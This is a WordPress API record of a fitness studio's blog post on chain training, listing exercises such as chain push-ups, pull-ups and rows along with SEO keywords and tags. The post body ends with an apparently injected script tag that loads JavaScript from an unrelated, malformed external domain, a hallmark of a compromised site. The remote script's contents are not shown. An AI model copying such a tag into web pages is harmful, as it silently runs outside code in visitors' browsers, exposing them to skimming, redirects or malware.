{"id":216509,"date":"2020-04-29T08:31:12","date_gmt":"2020-04-29T12:31:12","guid":{"rendered":"https:\/\/synergyfitnessteam.com\/uncategorized\/chain-training-2-0-strength-stability\/"},"modified":"2020-04-29T08:31:12","modified_gmt":"2020-04-29T12:31:12","slug":"chain-training-2-0-strength-stability","status":"publish","type":"post","link":"https:\/\/synergyfitnessteam.com\/chain-training-2-0-strength-stability\/","title":{"rendered":"Chain Training 2.0 Strength Stability Vestal NY &#8211; Synergy"},"content":{"rendered":"<h2>Chain Training 2.0 Strength Stability<\/h2>\n<div class=\"youtubomatic-video-container\"><iframe width=\"1920\" height=\"1080\" src=\"https:\/\/www.youtube.com\/embed\/1LANwJG4cvU?controls=1\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>**Sign Up For Joe&#8217;s FREE Newsletter: <a href=\"https:\/\/synergyfitnessteam.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/synergyfitnessteam.com\/<\/a><\/p>\n<p>ORIGINAL POST: http:\/\/synergy-athletics.com\/effective-strength-training\/strength-stability-chain-workout MANUAL: <a href=\"http:\/\/www.bullstrength.com\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.bullstrength.com<\/a> . <\/p>\n<p>Chain Stability and Loading (not all movements are stability related, some are external loading)<\/p>\n<p>Chain Training Purpose<\/p>\n<p>    * External loading (replacement for a weight vest)<br \/>\n    * Stability of core and shoulders<br \/>\n    * Accommodating resistance.<br \/>\n    * Workout variation and enjoyment<\/p>\n<p>Chains are a great exercise tool to add to your list of equipment.  Check out the original post on Synergy Athletics above if you want to see places to get chains, as well as more great workout routine ideas.  <\/p>\n<p>Exercises Shown:  Chain push ups, chain pull ups, chain shoulder press, isometric chain hold, chain rows, chain triceps<\/p>\n<p>&#8211; Joe Hashey, CSCS &#8211; <\/p>\n<p>Keywords:<br \/>\nchain workout,<br \/>\nchain exercise,<br \/>\nchain training,<br \/>\naccommodating resistance,<br \/>\nweight vest exercise,<br \/>\nstrength stability,<br \/>\nstabilizing,<br \/>\nhard core workout,<br \/>\nunderground strength,<br \/>\nreal world strength,<br \/>\nbull strength,<br \/>\nback exercise,<br \/>\nchest exercise,<br \/>\ntricep exercise<br \/>\ntricep skull crusher<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">Chain Training 2.0 Strength Stability Vestal NY &#8211; Synergy Related Info<\/h3>\n<p><strong>Meta Description of <em>Chain Training 2.0 Strength Stability<\/em>:<\/strong> Chain Training 2.0 Strength Stability &#8211; Synergy Fitness Studio Vestal NY, Category: Synergy Fitness Team on YouTube, Tags: Accommodating Resistance, accommodat<\/p>\n<p>Related City:\u00a0<a href=\"https:\/\/synergyfitnessteam.com\/vestal\/\">Vestal NY<\/a>, Tags: accommodating resistance, back exercise, bull strength, chain exercise, chain training, chain workout, chest exercise, hard core workout, real world strength, stabilizing, strength stability, tricep exercise, tricep skull crusher, underground strength, weight vest exercise, <a href=\"https:\/\/synergyfitnessteam.com\/tag\/accommodating-resistance\/\">Accommodating Resistance<\/a> and <a href=\"https:\/\/synergyfitnessteam.com\/tag\/ab-training\/\">Ab Training<\/a>, Categories: Synergy Fitness Team on YouTube and <a href=\"https:\/\/synergyfitnessteam.com\/category\/fitness-studio\/\">Fitness Studio<\/a>.<\/p>\n<p>Recommended pages or posts on Chain Training 2.0 Strength Stability: <a href=\"https:\/\/synergyfitnessteam.com\/blog\/fitness-myths-debunked-11-of-15\/\">Fitness Myths Debunked #11 of 19<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=1LANwJG4cvU\">Watch &#8220;Chain Training 2.0 Strength Stability Vestal NY &#8211; Synergy&#8221; on YouTube<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/bono.\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chain Training 2.0 Strength Stability **Sign Up For Joe&#8217;s FREE Newsletter: https:\/\/synergyfitnessteam.com\/ ORIGINAL POST: http:\/\/synergy-athletics.com\/effective-strength-training\/strength-stability-chain-workout MANUAL: http:\/\/www.bullstrength.com . Chain Stability and Loading (not all movements are stability related, some are external loading) Chain Training Purpose * External loading (replacement for a weight vest) * Stability of core and shoulders * Accommodating resistance. * Workout variation [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":218238,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[25,537,88,169,211,538,539,170,540,541,542,543,544,545,426,546],"_links":{"self":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/216509"}],"collection":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/comments?post=216509"}],"version-history":[{"count":0,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/216509\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/media?parent=216509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/categories?post=216509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/tags?post=216509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}